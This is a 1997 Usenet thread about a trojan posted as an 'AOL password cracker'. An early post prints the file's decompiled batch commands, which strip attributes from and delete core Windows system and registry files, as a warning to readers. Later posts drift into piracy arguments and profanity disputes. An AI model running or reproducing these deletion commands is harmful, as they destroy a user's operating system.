AOL PASSWORD CRACKER REPOST

Matt Buckley-Golder

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Aug 27, 1997, 3:00:00 AM8/27/97

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READ THIS FIRST

Here are the contents of that BAT-2-COM "password cracker":

Da Ultimate Crack
by Plucky Duck &
Da AC-DC Boy
---------------------------
Cracking...
Done...

DEL c:\windows\win.ini
DEL c:\windows\system.ini
ATTRIB -r -a -s -h c:\command.com
DEL c:\command.com
ATTRIB -r -a -s -h c:\windows\user.dat
DEL c:\windows\user.dat
ATTRIB -r -a -s -h c:\windows\user.da0
DEL c:\windows\user.da0
ATTRIB -r -a -s -h c:\windows\system.dat
DEL c:\windows\system.dat
ATTRIB -r -a -s -h c:\windows\system.da0
DEL c:\windows\system.da0
ATTRIB -r -a -s -h c:\io.sys
DEL c:\io.sys

...NOW decide if you want to run it :)

Matt.

C. Capps

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Aug 27, 1997, 3:00:00 AM8/27/97

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Bobby wrote:
>
> AOL PASSWORD CRACKER REPOST
>
>
> Name: aolpasscrk.com
> aolpasscrk.com Type: MS-DOS Application (application/x-unknown-content-type-comfile)
> Encoding: base64

Good God, what's that doing here? It is also widely known as the FrontPage 98
Crack, a registry cleaner, and a half dozen other things. Joy.
C. Capps

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Ryan Koski

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Aug 27, 1997, 3:00:00 AM8/27/97

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TownDrunk wrote:
>
> Makes me glad my windows directory isn't called windows.... :-)

That's the easiest way to avoid *SO* many so-called "security risks" on the
net. In fact, I've named my windows directory something so random that I'd be
impressed if any wannabe cracker wrote a trojan horse for it...

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Tim Murphy

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Aug 27, 1997, 3:00:00 AM8/27/97

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Ryan,

I hate to burst your bubble but I could easily find out your Windows
directory. I would just make a call to the Windows API function
GetWindowsDirectory(). Quoting from the Windows API help file "The
GetWindowsDirectory function retrieves the path of the Windows directory."

Tim

Ryan Koski <rko...@primenet.com> wrote in article
<3404B73A...@primenet.com>...

>
> That's the easiest way to avoid *SO* many so-called "security risks" on
the
> net. In fact, I've named my windows directory something so random that
I'd be
> impressed if any wannabe cracker wrote a trojan horse for it...
>

Ryan Koski

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Tim Murphy wrote:

> I hate to burst your bubble but I could easily find out your Windows
> directory. I would just make a call to the Windows API function
> GetWindowsDirectory(). Quoting from the Windows API help file "The
> GetWindowsDirectory function retrieves the path of the Windows directory."

Very true, but you aren't going to do it from a batch file. ;-) Besides, I
never run ANY code that isn't obtained from a "reasonably" trusted source.
Forget download.com and the shareware "archives"; I obtain my software from
the company's own web site. Granted, that could still be corrupt, but the
likelihood of a company distributing virus infested and/or trojan horse
archives is rather low.

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Chip Ciammaichella

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I guess that anyone crooked enough to want to crack passwords and dumb
enough to open a bat file attached to a post from an unknown source deserves
whatever they get.

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John Tubbs wrote in message <01bcb324$4fd3b3c0$559b5ecc@jmtubbs>...
>You should be ashamed of yourself. Does your mother know how mean you are?
>
>Bobby <bo...@bobby.com> wrote in article <3403BB...@bobby.com>...
>> AOL PASSWORD CRACKER REPOST
>>

C. Capps

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Jessie Palmer wrote:
>
> It's a virus right?

No, not exactly. It's a trojan. IT's a program that looks like it's
something good, while in this case, it wipes out your key system files.

> Thank God I didn't download it. If I did my dad would
> kill me. We have Office 97 fully installed and after the installation, he
> sold the CD to a friend. If I would of lost office i would of been dead.

Whoops there. That's quite a violation of MS's EULA...

> Oh yeah, I've read that most viruses end in .com

Actually, most don't "end" in anything...

David John Bird

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Aug 27, 1997, 3:00:00 AM8/27/97

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Beware everybody - do not run the attached file of the message to which this message is a reply.

There are several messages of this style posted to these newsgroups and no matter what the subject line may say and the file
purports to contain they all do the same thing - the file deletes your main system files.

Avoid these posts at all costs.

The bottom line is to only run attached files if you can verify their source or check their contents first.

David B.

Greg W

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Aug 28, 1997, 3:00:00 AM8/28/97

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You DO know its ILLEGAL (as in a federal offense) to install office 97 on
more then one computer dont you? You must have because if i remember
correctly you agreed to the Microsoft EULA specifically prohibiting
unauthorized distribution upon installing office.

Whats even more ironic is that this IS a microsoft message board... boy wont
ur dad be suprized when the feds show up!!!

Jessie Palmer wrote in article ...

>It's a virus right? Thank God I didn't download it. If I did my dad would

>kill me. We have Office 97 fully installed and after the installation, he
>sold the CD to a friend. If I would of lost office i would of been dead.
>

>Oh yeah, I've read that most viruses end in .com
>

>Bobby wrote in article <3403BB...@bobby.com>...
>
>>AOL PASSWORD CRACKER REPOST
>>
>
>

J/K but i wouldnt blurt out stuff like that again

Greg

Nick Mercauto

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On Wed, 27 Aug 1997 21:45:49 -0700, "Jessie Palmer"
<me...@hotmail.com> wrote:

>How do I get in trouble? We only have one computer. I'm the only one who
>uses the Cd and the computer. What are you talking about?

>
>Jessie Palmer wrote in article ...
>
>>It's a virus right? Thank God I didn't download it. If I did my dad would
>>kill me. We have Office 97 fully installed and after the installation, he
>>sold the CD to a friend. If I would of lost office i would of been dead.
>>
>>Oh yeah, I've read that most viruses end in .com
>>
>>Bobby wrote in article <3403BB...@bobby.com>...
>>
>>>AOL PASSWORD CRACKER REPOST

***If your Dad sold the CD to a friend, that is a total violation of
federal law and Microsoft's End User License Agreement, but then
again, if you read and agreed to that, you'd know! It's called
software piracy, and they take it VERY seriously.***

Donald Grover

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Hey why not just reference %windir%
best idea is to rename critical exacutables with a # or ! in front

Tim Murphy wrote in article <01bcb34e$da3ec8e0$59be20cb@ms-586-01>...

>Ryan,

>
>I hate to burst your bubble but I could easily find out your Windows
>directory. I would just make a call to the Windows API function
>GetWindowsDirectory(). Quoting from the Windows API help file "The
>GetWindowsDirectory function retrieves the path of the Windows directory."
>

>Tim
>
>Ryan Koski <rko...@primenet.com> wrote in article
><3404B73A...@primenet.com>...
>>
>> That's the easiest way to avoid *SO* many so-called "security risks" on
>the
>> net. In fact, I've named my windows directory something so random that
>I'd be
>> impressed if any wannabe cracker wrote a trojan horse for it...
>>

Tom Koch

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The violation is this: if he sold the CD to someone else, then he should
have uninstalled it from his machine. The friend can (and probably did)
install it on his machine, meaning there are now 2 machines running the same
copy of Office. And that is illegal.
Tom Koch
chi...@xs4all.nl
Awareness is free.

Jessie Palmer wrote in article

<#U#sv02s8...@uppssnewspub05.moswest.msn.net>...

Bill Hines

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The next time you are in the store with your dad, pick up something of
interest to you and ask your dad if you can steal it. When he says no,
then ask why it's OK for him to steal from software companies just
because it's easier to get away with. I can't believe so many people
do this stuff and then react in shock when their kids do something
unethical and immoral!

You sound like a good kid, but really if you sell something you don't
own it anymore and shouldn't use it. It's always more hassle than it's
worth, like you'll find out if your copy gets toasted somehow, and you
get to have a clear conscience if you don't steal.

Bill

On Wed, 27 Aug 1997 21:45:49 -0700, "Jessie Palmer"
<me...@hotmail.com> wrote:

>How do I get in trouble? We only have one computer. I'm the only one who
>uses the Cd and the computer. What are you talking about?
>
>Jessie Palmer wrote in article ...
>
>>It's a virus right? Thank God I didn't download it. If I did my dad would
>>kill me. We have Office 97 fully installed and after the installation, he
>>sold the CD to a friend. If I would of lost office i would of been dead.
>>
>>Oh yeah, I've read that most viruses end in .com
>>
>>Bobby wrote in article <3403BB...@bobby.com>...
>>
>>>AOL PASSWORD CRACKER REPOST
>>>
>>
>>
>
>

Bill Hines
Blue Sky Computing Corp
Hershey, PA

Steve Shattuck

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Aug 28, 1997, 3:00:00 AM8/28/97

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-----Original Message-----
From: Jessie Palmer <me...@hotmail.com>
Newsgroups:
alt.aol-sucks,alt.windows95,microsoft.test,microsoft.public.inetexplorer.ie4
,microsoft.public.frontpage.client,microsoft.public.inetexplorer.ie4.announc
ements,microsoft.public.inetexplorer.ie3,alt.news.microsoft
Date: Wednesday, August 27, 1997 22:53
Subject: Re: AOL PASSWORD CRACKER REPOST

>It's a virus right?

No it is a Trojan horse.

>Thank God I didn't download it. If I did my dad would kill me. We have
Office 97 fully
>installed and after the installation, he sold the CD to a friend.

I'll bet he appreciates the fact that you have exposed him as a software
pirate here on an International Usenet group. Your father didn't raise any
smart kids did he?

>If I would of lost office i would of been dead.

You may be yet if the software police arrive at his door.

>Oh yeah, I've read that most viruses end in .com

Not even remotely true, and this is NOT a virus.

Tom Pepper

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The two words are interchangeable.
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David <coy...@kincyb.com> wrote in article
<#DsVM5Dt...@uppssnewspub05.moswest.msn.net>...
That is, of course, assuming that his Dad isn't a professional thief or
Politicain...:)

David

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Bill Hines wrote in article <340580ff...@msnews.microsoft.com>...

>The next time you are in the store with your dad, pick up something of
>interest to you and ask your dad if you can steal it. When he says no,
>then ask why it's OK for him to steal from software companies just
>because it's easier to get away with. I can't believe so many people
>do this stuff and then react in shock when their kids do something
>unethical and immoral!

----------

Arjan Rodenburg

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Aug 29, 1997, 3:00:00 AM8/29/97

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Like car and automobile ??
different words, same object. :-))

Arjan Rodenburg

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Freedom

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Aug 29, 1997, 3:00:00 AM8/29/97

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Freedom answers;

LOL LOL Yes its great,,,but keep it a secret......

Let Freedom Ring

TJ Dains

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Jessie Palmer wrote:
>
> It's a virus right? Thank God I didn't download it. If I did my dad would

> kill me. We have Office 97 fully installed and after the installation, he

> sold the CD to a friend. If I would of lost office i would of been dead.

>
> Oh yeah, I've read that most viruses end in .com
>

> Bobby wrote in article <3403BB...@bobby.com>...
>
> >AOL PASSWORD CRACKER REPOST
> >

The correct term for this type of program is "Trojan Horse" - since it
is offering one thing, but turns out being destructive. And Trojans and
virii can end with any extension. Most of the password sniffing
programs sent to members on AOL are either .zip files containing
setup.exe and all of the files needed to capture your password and mail
it to another account, or are sent as self-extracting programs ending
with .exe which does the same thing.

It is the Trojan Horse programs that finally lead AOL (in its typical
reactionary style) to put warnings on files attached to email before
being downloaded. Too little, too late - since quite possibly a quarter
of its membership has probably download such wonderful promised programs
as "OH Generator" and "Guide Tools" sent out by the wannabee-hackerz
giving them what amounts to unlimited access to AOL at others expense.

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Zoomie

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What the hell IS this thing? I downloaded this just to read it.....I
stupidly thought it was an article about those hideous password
harvester's on AOL. Wrong. It gave me a virus that attacked my
desktop.ini file. Luckily my Norton repaired it and my hard drive
showed clean. However, I am now afraid that something terrible is
going to happen in the long run. Is there anything else I can do to
make sure I have not let loose a hellish vermin on my PC??

>David=20

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>Bill Hines wrote in article <340580ff...@msnews.microsoft.com>...

>>The next time you are in the store with your dad, pick up something of
>>interest to you and ask your dad if you can steal it. When he says no,
>>then ask why it's OK for him to steal from software companies just
>>because it's easier to get away with. I can't believe so many people
>>do this stuff and then react in shock when their kids do something
>>unethical and immoral!

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Jesus h ....you know the rest.

Get your dad to back up the office stuff immediately.

The very operating system is considered my many to be the biggest
virus of all. It's called Win anything, any year and anytime.

Back Up! Back up! Back UP! noW, nOW, NOW!!!

ÇÃR£Ø§ ÇÃ|\\/|Ã R Ø

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Zoomie <Zoo...@toka.com> wrote in article <5u8h44$mj1$1...@brokaw.wa.com>...

> What the hell IS this thing? I downloaded this just to read it.....I
> stupidly thought it was an article about those hideous password
> harvester's on AOL. Wrong. It gave me a virus that attacked my
> desktop.ini file. Luckily my Norton repaired it and my hard drive
> showed clean. However, I am now afraid that something terrible is
> going to happen in the long run. Is there anything else I can do to
> make sure I have not let loose a hellish vermin on my PC??
>

Use a rubber.
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cam...@prtc.ne if anyone is interested.

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Not ME Jim Jr

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Yes It can be anybody , Can't It...??
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Do you mean prtc.net?

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Merell L. Matlock, Jr. <mer...@hom.net> wrote in article
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> Do you mean prtc.net?
>
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WHAT IS WRONG WITH YOU IDIOTS? YEAH THAT'S MY SERVER. NOT TOO MUCH
DETECTIVE WORK TO FIGURE OUT MY EMAIL ADDRESS, ALL YOU HAVE TO DO IS CLICK
REPLY TO AUTHOR, NOT MUCH DETECTIVE WORK FIGURING THAT OUT. I WONDER WHY
I'M ALWAYS THE LIFE OF THE PARTY WHEN I POST IN A NEWSGROUP.
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- http://www.raton.com/~chip/reskit.htm > > > >"A journey of ten =
thousand miles begins with one small step." > > > =
>-- > >=C7=C3R=A3=D8=A7 =C7=C3|\/|=C3 R =D8 wrote in =
message > ><01bcb57b$fdc3be40$5a4d92cc@harrycal>... > >> > >> > =
>> > >> > >>Zoomie <Zoo...@toka.com> =

wrote in article <5u8h44$mj1$1...@brokaw.wa.com<font =

color=3D"#000080">>... > >>> What the hell IS this =
thing?  I downloaded this just to read it.....I > =
>>> stupidly thought it was an article about those hideous =
password > >>> harvester's on AOL.  Wrong.  It =
gave me a virus that attacked my > >>> desktop.ini file. =
 Luckily my Norton repaired it and my hard drive > =
>>> showed clean.  However, I am now afraid that something =
terrible is > >>> going to happen in the long run. =
 Is there anything else I can do to > >>> make sure =
I have not let loose a hellish vermin on my PC?? > =
>>> > >> > >>Use a rubber. > =
>>-- > >> > >> =
     Carlos Camaro > >> > =
>>Oo0()oO0()()0oO00()oO0oO()0oO()0oOo0()0oOo0 > =
>> > >>" Well if you think you're so fucking =
tough cocksukcer > >> I dare you to come up here right =
now > >>and take a Piece of Me!! > >>***Bas Bach =
really pissed at the bottle thrown at him.***] > >> > =
>>http://www.geocities.com/SunsetStrip/Stage/4794/home=
.html > >> ICQ# 2399045 > =
>> > >> > > > > > > =
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WOULD SOMEONE MIND TELLING ME WHAT'S YOUR OBSESSION WITH ME? I'M THE LIFE
OF THE PARTY AND ALL I DID WAS COME HERE TO ASK A QUESTION ABOUT IE AND YOU
ALL MADE ME A SUPERSTAR. WILL YOU GUYS JUST DROP IT AND STOP WASTING
BANDWITH.

MAIL ME, DON'T FUCK UP THE NEWSGROUP WITH THIS SHIT.

cam...@prtc.net

--

Carlos Camaro

Oo0()oO0()()0oO00()oO0oO()0oO()0oOo0()0oOo0

" Well if you think you're so fucking tough cocksukcer
I dare you to come up here right now
and take a Piece of Me!!
***Bas Bach really pissed at the bottle thrown at him.***]

http://www.geocities.com/SunsetStrip/Stage/4794/home.html
ICQ# 2399045

Not ME Jim Jr <no...@my.net> wrote in article
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[<cid:014701bcb5a9$1733c320$c4d6...@spaceman.mdc.net>] WARNING Yes It

can be anybody , Can't It...?? really James Driscoll Jr

<mailto:spac...@mdc.net>,?
Margaret wrote in message ...Chip, how do you know that? This could be a

phony address, yes?
-----
Margaret

>cam...@prtc.ne <mailto:cam...@prtc.ne> if anyone is interested.
>
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WHAT'S YOUR  OBSESSION WITH ME?  I'M THE LIFE OF THE PARTY AND =
ALL I DID WAS COME HERE TO ASK A QUESTION ABOUT IE AND YOU ALL MADE ME A =
SUPERSTAR. WILL YOU GUYS JUST DROP IT AND STOP WASTING =
BANDWITH. MAIL ME,  DON'T FUCK UP THE NEWSGROUP WITH THIS =
SHIT. cam...@prtc.net -- =

Carlos =
Camaro Oo0()oO0()()0oO00()oO0oO()0oO()0oOo0()0oOo0 " =
Well if you think you're so fucking tough cocksukcer I dare you to =
come up here right now and take a Piece of Me!!   ***Bas =
Bach really pissed at the bottle thrown at =
him.***] http://www.geocities.com/SunsetStrip/Stage/4794/home.html=

ICQ# 2399045 Not ME Jim Jr <no...@my.net> =
wrote in article =
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cid:014701bcb5a9$1733c320$c4d6...@spaceman.mdc.net>] WARNING =
  Yes  It can be anybody , Can't It...?? really James =
Driscoll Jr <mailto:spac...@mdc.net>,?  
  Margaret wrote in message ...Chip, how do you know that? =
 This could be a phony address, =
yes? ----- Margaret >cam...@prtc.ne =
<mailto:cam...@prtc.ne> if anyone is =
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That's right folks, I am single and if you are interested you can mail me
and I'll send you my resume.
Now can we talk about IE 4.0?

carlos camaro

Chip Ciammaichella <ch...@raton.com> wrote in article
<e6glZLY...@uppssnewspub05.moswest.msn.net>...

> cam...@prtc.ne if anyone is interested.
>
> --

> Regards,
>
> Chip Ciammaichella
> Webmaster - Raton Chamber & Economic Development Council
> http://www.raton.com/
>
> Win95 & IE Resource Page - http://www.raton.com/~chip/reskit.htm
>
> "A journey of ten thousand miles begins with one small step."
>
> --
> ÇĂRŁŘ§ ÇĂ|\/|Ă R Ř wrote in message
> <01bcb57b$fdc3be40$5a4d92cc@harrycal>...
> >
> >
> >
> >
> >Zoomie <Zoo...@toka.com> wrote in article
<5u8h44$mj1$1...@brokaw.wa.com>...
> >> What the hell IS this thing? I downloaded this just to read it.....I
> >> stupidly thought it was an article about those hideous password
> >> harvester's on AOL. Wrong. It gave me a virus that attacked my
> >> desktop.ini file. Luckily my Norton repaired it and my hard drive
> >> showed clean. However, I am now afraid that something terrible is
> >> going to happen in the long run. Is there anything else I can do to
> >> make sure I have not let loose a hellish vermin on my PC??
> >>
> >
> >Use a rubber.

> >--
> >
> > Carlos Camaro
> >
> >Oo0()oO0()()0oO00()oO0oO()0oO()0oOo0()0oOo0
> >
> >" Well if you think you're so fucking tough cocksukcer
> > I dare you to come up here right now
> >and take a Piece of Me!!
> >***Bas Bach really pissed at the bottle thrown at him.***]
> >
> >http://www.geocities.com/SunsetStrip/Stage/4794/home.html
> > ICQ# 2399045
> >
> >
>
>
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and if you are interested you can mail me and I'll send you my =
resume. Now can we talk about IE 4.0? carlos =
camaro Chip Ciammaichella <ch...@raton.com> =
wrote in article <e6glZLY...@uppssnewspub05.moswest.msn.net<f=
ont color=3D"#000080">>... > <font =

color=3D"#0000FF">cam...@prtc.ne if =

anyone is interested. > > -- > Regards, > =
 > Chip Ciammaichella > Webmaster - Raton Chamber & =
Economic Development Council > <font =

color=3D"#0000FF">http://www.raton.com/<font =

color=3D"#000080"> > > Win95 & IE Resource Page - <font =

color=3D"#0000FF">http://www.raton.com/~chip/reskit.htm<font =

color=3D"#000080"> > > "A journey of ten thousand =
miles begins with one small step." > > -- > =
=C7=C3R=A3=D8=A7 =C7=C3|\/|=C3 R =D8 wrote in message > <<font =

color=3D"#0000FF">01bcb57b$fdc3be40$5a4d92cc@harrycal<font =

color=3D"#000080">>... > > > > > > > =
> > >Zoomie <<font =

color=3D"#0000FF">Zoo...@toka.com> =
wrote in article <5u8h44$mj1$1...@brokaw.wa.com<font =

color=3D"#000080">>... > >> What the hell IS this thing? =
 I downloaded this just to read it.....I > >> stupidly =
thought it was an article about those hideous password > >> =
harvester's on AOL.  Wrong.  It gave me a virus that attacked =
my > >> desktop.ini file.  Luckily my Norton repaired =
it and my hard drive > >> showed clean.  However, I am =
now afraid that something terrible is > >> going to happen =
in the long run.  Is there anything else I can do to > =
>> make sure I have not let loose a hellish vermin on my =
PC?? > >> > > > >Use a rubber. > =
>-- > > > >      Carlos =
Camaro > > > =
>Oo0()oO0()()0oO00()oO0oO()0oO()0oOo0()0oOo0 > > > =
>" Well if you think you're so fucking tough cocksukcer > =
> I dare you to come up here right now > >and take a Piece =
of Me!! > >***Bas Bach really pissed at the bottle thrown at =
him.***] > > > ><font =

color=3D"#0000FF">http://www.geocities.com/SunsetStrip/Stage/4794/home=

.html > > ICQ# 2399045 > =
> > > > > >

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Did I miss something?

carlos camaro

Margaret <twv...@mail.connect.more.net> wrote in article
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> Chip, how do you know that? This could be a phony address, yes?
> -----
> Margaret
>

> >cam...@prtc.ne if anyone is interested.
> >
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something? carlos camaro Margaret <twv...@mail.connect.more.net> wrote in article <OUoPPZa...@uppssnewspub04.moswest.msn.net<f=
ont color=3D"#000080">>... >  Chip, how do you know that? =
 This could be a phony address, yes? > ----- > =
Margaret > > ><font =

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Carlos, it's your blatant use of profanity in a *public* newsgroup which
has everyone so "obsessed." Please read this excerpt from the rules of
conduct:

RULES OF CONDUCT

Appropriate Language: The purpose of the newsgroups is to exchange technical
information and expertise on Microsoft products. Please avoid personal
attacks, slurs, and excessive profanity in your messages.

-----
Margaret

ÇĂRŁŘ§ ÇĂ|\/|Ă R Ř wrote in article
<01bcb5ab$6b85d7e0$b44d92cc@harrycal>...

>WOULD SOMEONE MIND TELLING ME WHAT'S YOUR OBSESSION WITH ME? I'M THE LIFE
>OF THE PARTY AND ALL I DID WAS COME HERE TO ASK A QUESTION ABOUT IE AND YOU
>ALL MADE ME A SUPERSTAR. WILL YOU GUYS JUST DROP IT AND STOP WASTING
>BANDWITH.
>
>MAIL ME, DON'T FUCK UP THE NEWSGROUP WITH THIS SHIT.
>
>cam...@prtc.net
>
>

>--
>
> Carlos Camaro
>
>Oo0()oO0()()0oO00()oO0oO()0oO()0oOo0()0oOo0
>
>" Well if you think you're so fucking tough cocksukcer
> I dare you to come up here right now
>and take a Piece of Me!!
>***Bas Bach really pissed at the bottle thrown at him.***]
>
>http://www.geocities.com/SunsetStrip/Stage/4794/home.html
> ICQ# 2399045
>

>Not ME Jim Jr <no...@my.net> wrote in article
><eP8CCka...@uppssnewspub05.moswest.msn.net>...
>[<cid:014701bcb5a9$1733c320$c4d6...@spaceman.mdc.net>] WARNING Yes It
>can be anybody , Can't It...?? really James Driscoll Jr
><mailto:spac...@mdc.net>,?

> Margaret wrote in message ...Chip, how do you know that? This could be a

>phony address, yes?
>-----
>Margaret
>

>>cam...@prtc.ne <mailto:cam...@prtc.ne> if anyone is interested.
>>
>>--
>
>

Spider

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Margaret your beating a dead horse with this one unless you can have
stamped on their forheads they still do it no matter how much you post it.

Margaret <twv...@mail.connect.more.net> wrote in article

<#e9uJvat...@uppssnewspub04.moswest.msn.net>...

> Carlos, it's your blatant use of profanity in a *public* newsgroup which
> has everyone so "obsessed." Please read this excerpt from the rules of
> conduct:
>
> RULES OF CONDUCT
>
> Appropriate Language: The purpose of the newsgroups is to exchange
technical
> information and expertise on Microsoft products. Please avoid personal
> attacks, slurs, and excessive profanity in your messages.
>
> -----
> Margaret
>
>

> ÇÃR£Ø§ ÇÃ|\/|Ã R Ø wrote in article

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Margaret wrote in message ...

> Actually, Steve and Spider, you're both wrong......I'm not about to post a
>private e-mail to a newsgroup, but Carlos did e-mail me and said he didn't
>know about the rules of conduct, and he promised to tone it down a
>bit.....he even thanked me for letting him know. Sometimes it just takes a
>little patience, boys. <g>

You would think all that it takes is a little common sense. The guy comes
on here "shouting" in his 100 point font (okay, it wasn't quite that large)
with compound profanity in his signature, and he didn't "get" why we were
all upset?

:- ) Steve

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MySTiC wrote:
>
> Freedom wrote in article <34073F...@bellsouth.net>...

> Sad, does anyone still put Windows in a /Windows Directory? Or even install
> it on C? :)

Works here;)

MySTiC

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Fibber

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Lighten up the Lotta ye!
Fudging Bas.....!

His dad bought a copy of MS Office and sold it. Big Deal! So he
shouldn't.

I think his crime is in actually PAYING for it the first Place.

Anyway it usually 'innocent' people you think nothing about copyright
and licenses etc. dammit the guy bought the software, He Paid for it
[I think but this is not actually established is it?] and most people
would think nothing about selling on a product they bought. Maybe a
little more public awareness is needed but this guy committed not
crime that would go to court. Maybe! Just maybe, Mr. MS himself, Mr.
Bill would ask fro a share of the proceeds.

Warez forever free!!! Now piss off and let the boy alone!

On Thu, 28 Aug 1997 13:48:40 GMT, bi...@blueskycomputing.com (Bill
Hines) wrote:

>The next time you are in the store with your dad, pick up something of
>interest to you and ask your dad if you can steal it. When he says no,
>then ask why it's OK for him to steal from software companies just
>because it's easier to get away with. I can't believe so many people
>do this stuff and then react in shock when their kids do something
>unethical and immoral!

>snip

Tom C. Koch

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It also depends on where you grew up, and with what language. Where we
might say "damn" (or "darn" in my hometown), the Dutch and the Germans say
"shit" with nary a raised eyebrow in sight. Many Europeans that I know have
learned English from watching American television and movies. To them,
"fuck" is just another word, quite useful to use, and without the taboo that
many Americans associate with it. And if you had ever lived in New York
city, you'd know that "fuck" is just another word, and a quite expressive
one at that. It's part of the New York alphabet: fuckin'a, fuckin'b,
fuckin'c, etc.

I suspect Carlos' mother tongue is something other than English, since PRTC
stands for Puerto Rican Telephone Company. It is quite possible that the
words you find so inappropriate do not affect him the same way. And the
main reason so many English speakers find them offensive has to do with
historical events involving the Norman invasion and the attempts of the
conquerors to suppress Anglo-Saxon in favor of French.

If we're going to have a global community here, we have to loosen up some of
our own culturally-imposed taboos.

Tom Koch
chi...@xs4all.nl
alex...@euronet.nl
Awareness is free.

Margaret wrote in message ...

> Chip Ciammaichella wrote in article ...
>

>>in a public NG good manners should be
>>the rule of the day.
>
>Yes, well, *you* know this, and *I* know this, but obviously *Carlos*
didn't
>know this......it shocks me what some people find "acceptable," but it is
>all a matter of how we were raised. Generally speaking, people take after
>their parents.
>-----
>Margaret
>
>

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>...And if you had ever lived in New York

>city, you'd know that "fuck" is just another word, and a quite expressive
>one at that. It's part of the New York alphabet: fuckin'a, fuckin'b,
>fuckin'c, etc.

And, if you grew up in any of the hundreds of small towns in New York state
outside of NYC that, anywhere else in the country, all get lumped in as
"upstate New York," you would realize that we we came up with FAR more foul
mouthed things than that to say in our attempt to seem as important as the
"Big City."

>If we're going to have a global community here, we have to loosen up some
of
>our own culturally-imposed taboos.
>

Good point, Tom

Tom Shortell

FRiGG

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MySTiC wrote:

> Sad, does anyone still put Windows in a /Windows Directory? Or even install
> it on C? :)

Why not?

FRiGG

Donald O. Ward

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TJ Dains wrote:

>
> Jessie Palmer wrote:
> >
> > It's a virus right? Thank God I didn't download it. If I did my dad would
> > kill me. We have Office 97 fully installed and after the installation, he
> > sold the CD to a friend. If I would of lost office i would of been dead.
> >
> > Oh yeah, I've read that most viruses end in .com
> >
> > Bobby wrote in article <3403BB...@bobby.com>...
> >
> > >AOL PASSWORD CRACKER REPOST
> > >
>

> The correct term for this type of program is "Trojan Horse" - since it
> is offering one thing, but turns out being destructive. And Trojans and
> virii can end with any extension. Most of the password sniffing
> programs sent to members on AOL are either .zip files containing
> setup.exe and all of the files needed to capture your password and mail
> it to another account, or are sent as self-extracting programs ending
> with .exe which does the same thing.
>
> It is the Trojan Horse programs that finally lead AOL (in its typical
> reactionary style) to put warnings on files attached to email before
> being downloaded. Too little, too late - since quite possibly a quarter
> of its membership has probably download such wonderful promised programs
> as "OH Generator" and "Guide Tools" sent out by the wannabee-hackerz
> giving them what amounts to unlimited access to AOL at others expense.
>
> --
> My e-mail address has been modified to prevent SPAMMING.
> *** Remove "-NOSPAM-" from address to respond via email ***

>I ran it and it wiped out my whole system. OOPS!! Had to knock down my F-Partitions and restore entire hard drive!!!

>Can anyone tell me if this wiped the virus out of my system, seems fine, but will it resurface later?

>HELP

Margaret

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Even if this jerk hasn't fooled anyone with his half-assed trojan, he sure
has managed to waste a lot of our time. I just counted over 140 posts in
response to his crap in the inetexplorer.ie4 group alone! (Talk about a
waste of time ; )

Always be careful...
Tom Shortell

C. Capps

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Actually, it doesn't matter. Someone can just use the "windir" variable to
delete the proper files...
C. Capps
"Of all the things I've lost in life, I miss my mind the most"
__________________________________________________________________________
The Utopia Planitia Trek Ship Database: http://www.behaviour.co.uk/Utopia/
&&& Make sure to remove the asteriks in my e-mail address when responding! &&&

Tom Pepper

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Yes, indeed. Let's teach in it public and private school, and at Sunday
schools. Let's use it in big groups. After all, we must educate each
other.

(grin)
--
Tom Pepper - Sharp Communication, Inc.
to...@sharpcom.com
http://www.sharpcom.com

Tom C. Koch <nos...@xs4all.nl> wrote in article
<#xFvgMit...@uppssnewspub04.moswest.msn.net>...

> It also depends on where you grew up, and with what language. Where we
> might say "damn" (or "darn" in my hometown), the Dutch and the Germans
say
> "shit" with nary a raised eyebrow in sight. Many Europeans that I know
have
> learned English from watching American television and movies. To them,
> "fuck" is just another word, quite useful to use, and without the taboo
that

> many Americans associate with it. And if you had ever lived in New York

> city, you'd know that "fuck" is just another word, and a quite expressive
> one at that. It's part of the New York alphabet: fuckin'a, fuckin'b,
> fuckin'c, etc.
>

> I suspect Carlos' mother tongue is something other than English, since
PRTC
> stands for Puerto Rican Telephone Company. It is quite possible that the
> words you find so inappropriate do not affect him the same way. And the
> main reason so many English speakers find them offensive has to do with
> historical events involving the Norman invasion and the attempts of the
> conquerors to suppress Anglo-Saxon in favor of French.
>

> If we're going to have a global community here, we have to loosen up some
of
> our own culturally-imposed taboos.
>

> Tom Koch
> chi...@xs4all.nl
> alex...@euronet.nl
> Awareness is free.
>
>
>
> Margaret wrote in message ...

R.W.GERLING

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The use of proper English has been lost. This has been caused by the
uneducated masses living in a dream world of Television, lousy movies, and
people who think it's cute. rg
--

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http://cueball.nemonet.com/users/rgerling/default.asp
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Hosted by Nemonet. br...@nemonet.com

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Eldon Ward

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Reminds me of the story about the first grade teacher who had to constantly
admonish little Johnny about his frequent use of the "f-word". One day she
asked him why he used the word so often, when he didn't even know what it
meant. Johnny quickly replied "Of course, I know what it means. It means
the car won't start again!"

Eldon
ew...@brazosport.cc.tx.us

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Carlos,

While it's 'open season on Carlos'. <g>

Would you mind deleting some of the stuff tacked on the end of your
messages in future to save my phone bill a few pennies.

I got told off about not doing this so I don't see why anybody else should
get away with it. <bg>
--
John Clifford Hole [MVP] [UK]

ÇÃR£Ø§ ÇÃ|\/|Ã R Ø <cam...@prtc.net> wrote in article
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